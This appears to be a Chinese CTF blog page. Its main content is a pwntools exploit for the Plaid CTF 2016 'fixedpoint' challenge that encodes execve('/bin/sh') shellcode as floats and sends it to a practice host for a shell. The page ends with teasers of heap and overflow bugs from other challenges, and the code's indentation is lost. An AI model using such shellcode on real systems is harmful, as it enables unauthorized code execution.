0%

fixedpoint_plaid_2016的一题,留着备用https://github.com/ispoleet/ctf-writeups/tree/master/plaid_ctf_2016/fixedpoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding:utf8
from pwn import *
import struct

#target = process('./fixedpoint_plaid_2016')
target = remote('node3.buuoj.cn',26804)

def get_int(s):
a = struct.unpack('<f', s)[0]* 1337
return struct.unpack('I', struct.pack('<I', a))[0]


print "Sending IEEE754 shellcode..."
sleep(1)

for i in range(3):
target.sendline(str(get_int('\x00\x00\x00\x00')))

target.sendline(str(get_int('\x99\x89\xc3\x47'))) # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44'))) # nop/align

for c in '/bin/sh\x00':
target.sendline(str(get_int('\x99\xb0'+c+'\x47'))) # mov al, c
target.sendline(str(get_int('\x57\x89\x03\x43'))) # mov [ebx], eax; inc ebx

for i in range(8):
target.sendline(str(get_int('\x57\x4b\x41\x47'))) # dec ebx

target.sendline(str(get_int('\x99\x31\xc0\x47'))) # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47'))) # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47'))) # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47'))) # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47'))) # int 0x80
raw_input()
target.sendline('c')

target.interactive()

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在add功能里,size的判断不准确,导致size可以很大,使得malloc(size)返回0,但是没有检查malloc的返回值

阅读全文 »

首先,检查一下程序的保护机制

然后,我们IDA分析一下,在store_game函数里的getInput存在null off by one漏洞

阅读全文 »

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在delete功能里,ptr指针存在未初始化的漏洞,因此其ptr的值可以通过其他函数来控制,造成任意地址free。

阅读全文 »

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,test功能里abs函数存在溢出,由此可以造成下标越界,进而可以泄露程序的地址。

阅读全文 »